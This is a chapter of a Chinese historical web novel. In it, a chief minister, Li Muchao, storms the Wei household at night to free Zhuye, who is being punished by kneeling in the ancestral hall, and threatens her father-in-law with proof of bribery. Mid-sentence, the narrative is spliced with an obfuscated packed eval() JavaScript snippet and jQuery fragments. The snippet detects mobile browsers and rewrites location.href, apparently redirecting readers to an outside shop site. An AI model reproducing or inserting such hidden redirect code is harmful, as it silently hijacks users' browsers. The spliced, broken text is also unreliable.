默认冷灰
24号文字
方正启体

34. 撑腰

作者:鹭流本书字数:K更新时间:
    “张相公那里四处挑您的过失,这时候闹出动静,岂非授人以柄?”李深说罢,抬头觑了觑主子的神情。


    李穆朝面无表情地饮尽杯中酒。暗自思忖道:也罢,将她拘在这,总得担心她要跑。留她在韦府,至少也能安分一阵子……待他借故收拾了韦忻,她再能耐又能逃到哪去。


    远在韦府的珠夜切实打了个寒噤。堂上灯火通明,韦忻坐得分外端直,两手覆在膝上,头首微微前倾,神情自是震怒,端地是一派威严气度。


    珠夜缩着肩,跪在韦明义身后,也不敢言语。庭前的石砖太过冷硬,无论怎么调整姿势,膝盖都硌得几乎跪不住。


    “逆子,你如何敢冒夜携新妇擅自离家?你娶了新妇,又在朝中得了职衔,便将你祖宗家法尽忘到脑后了?”韦忻沉声斥道,其声犹如洪钟振鸣,比他在朝会上的声音还响些。


    韦七也想不明白,父亲今夜为何如此愤怒。他不过是带珠夜出去走了走,往常三姐也独自出过门呀?甚至搬出家法训斥他。


    然而他毕竟不敢忤逆,立刻便伏下身子解释:“父亲恕罪,我本想着……”


    “你想什么!”韦忻抄起一只茶盏便朝二人身边砸去。


    瓷盏脆声碎在二人面前,连话都没让他说出口。


    珠夜的心一沉,似乎明白了他的意思。眼下这境况,她也不得不明白。于是也学着韦七的样子,伏身告罪。


    “父亲勿要动怒,是儿媳的不是。晚间我心口闷,便央着七郎带我出门,不想游玩误了时辰,拖到此时方才还家。”


    韦忻声音干扁,听不出喜怒,只道:“没你的事。韦明义,按韦氏家训,照例,你须去跪上三个时辰自省。待想明白了今日的错处再起身,去吧。”


    他命七郎跪上三个时辰,可她这个做妻子的,又哪里好独善其身。韦忻话里没明着训斥她,明眼人却都能瞧出来,他这是借着此事敲打她呢。


    韦七丝毫不敢违拗他的意思,低低应了句是。“儿子定会自省己身,不敢再犯。”


    珠夜忽然想,他那时候要鼓起多大的勇气,才能跑到秦家墙下,许诺要带她一起走啊?


    珠夜低伏下身体,耳边不合时宜地响起李穆朝轻柔曼转的那句话。


    “你如今可是欢喜吗?”


    想要得到的东西,已经攥紧在掌心了,怎么会不欢喜?这不就是你想要的那种日子吗?怎么会不欢喜?


    珠夜面无表情地盯着青砖半晌,听韦忻又训了好些话。她一个字都没听进去,盯着砖缝里一棵衰弱的秋草,人也有些放空。待韦忻带着人离开,她这才能微微直起身子。


    韦明义见人走了,先是起身去扶身后的珠夜。她跪了好半天,站起来都艰难。


    他半扶半撑地令她站起了身,道:“你先回去歇下吧。此事毕竟是我的过错,是我连累了你。”


    珠夜摇了摇头,叹口气道:“今夜我若不同你一起跪去,明日不知还要生多少事端。你跪得,我也跪得,我陪你一起。”


    韦七一口气闷在胸腔里,眼眶直红,迟疑半晌,方道:“珠夜,是我对不住你。”


    此刻哭哭啼啼,你来我往还有什么用,不如好好想想这一夜怎么度过为上。珠夜真想这样说,但话到了嘴边,又不忍说。


    “你我是夫妻,哪有什么对得住对不住的。”


    韦七还欲说些什么,想了想,又闭嘴了。搀着珠夜朝祠堂走。


    这消息还没过夜,三更梆子响过后,便传到了另一人耳朵里。


    李穆朝半醉半醒间听人传报,秦娘子那头又出幺蛾子了。


    他支着脑袋,头直朝下沉,饶是如此还在撑。


    “什么幺蛾子?你一气说完,”


    那人简述一遍事发原委,又偷瞧了瞧李穆朝,微微朝后退去一步,“韦郎中……便罚了那韦七与秦娘子跪祠堂。”


    李穆朝顿觉头痛欲裂,强忍着乜了那人一眼,“跪祠堂?跪什么祠堂?我不是叫你一口气说完?”


    “是,是……韦郎中命他们跪上三个时辰算完。”


    他的酒彻底醒了,


    “三个时辰?!他疯了?”


    李穆朝蓦地冷笑出声,“他韦忻不过在刑部历练了几日,怎么,回家还要摆官谱,设刑堂?跪三个时辰,她的腿还能走路吗!”


    他凝神细思半晌,一拍桌案。朝身畔道:“备马!”


    李深觉得他也疯了,但见他一脸阴郁,想是已然怒极,不好触他的霉头,只得吩咐手下人替他备马。


    “您深夜前往,毫无缘由。毕竟是人家的家事……”


    “两月前遣人暗中查探之事,不是已经有了眉目?他受贿鬻狱的把柄捏在我手里,他的项上人头,端看我何时想要罢了。我今夜便是拆了他的祠堂,他也不敢如何,你信么?”


    这是他的惯用伎俩。要杀人,便先将其高高捧起,再寻机会重重将人摔下去。将韦忻举荐给陛下的人是他,叫陛下满心信任他韦忻的也是他,最后揪住人把柄将之往死路上推的也是他。


    偏偏这等人跳进陷阱不自知,在他眼皮子底下犯错,把柄一抓一个准。


    李深不再劝了,只是庆幸两家同住一坊,否则又要跟金吾卫打些交道。


    珠夜跪了不到半个时辰,膝盖以下已是没了知觉。连蒲团也没有,硬跪在覆了深秋薄霜的青砖上,身下垫了他的外袍,饶是如此也无济于事。


    跪到现在,她真想一把拉起韦七回房歇息。去他的家训规矩,哪里有出趟门就要把人往死里折腾的破规矩?今日种种,全是因为她。就算她在这里再小心谨慎,夹着尾巴做人,自己依旧百般皆是错。


    她被李穆朝强夺后,仍然活着回来,这便是她的原罪。韦七能容她,韦忻却是万万不能。然而应过她外公,他又始终下不了狠心给她下休书。


    只能这样折磨她。


    未成婚时,她以为韦家万般都好。关陇士族,门庭煊赫,又兼与外公是世交,她能嫁进来已是幸事一桩。直到现在才发觉,他们从来没高看过自己一眼。


    韦七歪着头,似乎跪着睡着了。幸好明日是休沐,不必去官署,否则跪完一夜还要上值,岂非太惨了些?


    她望着高低不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176492|194331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一的重重牌位,供桌畔的火烛快要燃尽了,最后一点将灭的光看起来有些幽隐可怖。


    珠夜凑近他一些,让他得以顺势倚在自己肩上小睡一会儿。


    不知过了多久,她的眼睛也要阖上了。忽听得身后隐隐传来喧闹的人语声。


    她一瞬间有些恍惚,以为是天亮了,两人终于熬到了头。微微眯起眼朝门外看,不见月光,也不见破晓时分的幽蓝晨光。只有同那一夜相似的,冲天的火光。


    她蓦然睁大了眼睛。


    李相公如今深夜敲门已是轻车熟路,满朝野也寻不出第二个深夜叩门的宰相来。


    待韦忻得了消息,匆匆忙忙整理好衣冠向庭前去迎时,那人已然闲庭信步般带着人朝内走着。跟在他自己府上散步似的,偏偏人又生得高大,气势上便压了旁人一头,无人奈何得了他。


    韦忻额角隐隐绷紧了。这李十三可真是疯了,纵是当朝宰相,也没有夜闯他人宅邸的道理。


    李穆朝瞧见他走过来,只是微微一笑,朝他弓身一礼,态度倒是谦和。


    韦忻心里再如何骂,脸上也得陪着笑,方欲抬起手回礼,便被人掷来的一物砸中了手臂。没给他寒暄的机会,李穆朝淡淡道:“韦郎中自己瞧瞧吧。先前我向陛下倾力举荐你,为此不惜开罪了座师,如今你便是这样回报我的?”


    他这脸翻得太快,韦忻还不待反应过来,匆匆看了他一眼,这才弯腰拾起那卷文书。展开略略一瞧,韦忻骤觉后背被冷汗浸了个透。


    先前按陛下的意思,叫他兼领了刑部的差事。不料甫一到任,便被快要卸任的顶头上司曹商先敲打了一记。


    在他手下复核的一宗狱案,牵扯到了曹商手底下的人,本不该容情,但他初来乍到,毕竟不好违逆上峰的意思。只好睁一只眼闭一只眼,篡改了狱案,最终此案改判,他与上峰也算皆大欢喜。


    事后苦主于家中自尽,他费了好大力气才将此事压下来,不料还是传到了他的耳朵里。


    他哪里晓得,某人早从一开始便知道此事,且还有推波助澜的一份力。


    眼下是叫人抓住了把柄,他十分明白,李穆朝想叫此事上达天听,简直不要太容易。


    韦忻缓缓合上那文书,神色姿态无不恭敬。


    “韦某一时糊涂,判错了案卷。但行事绝不敢有违朝廷律令,未敢犯法鬻狱,还望李相明察。”


    李穆朝垂首一笑,“韦郎中,你尽管继续嘴硬。待明日一早,上奏的条疏落在陛下案上时,你也可以继续嘴硬。”


    韦忻咬紧了牙关,就此僵持数时,方才道:“您待要如何处置?”


    李穆朝笑着上前,一掌落在他肩上拍了拍,兀自带人向后头走着。韦家下人无一敢上前阻挠,屏息敛声站在一侧,任由他仰首阔步朝后院踱步而去。


    往宅中后院祠堂去的小门虚掩着,叫人从外一脚踹开。


    珠夜正愣神间,便瞧见自火光中缓缓走来一人。簪缨服紫,烨丽非常。


    “还不过来?”


    他负手立在不远处,背着光,她几乎看不清他的脸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)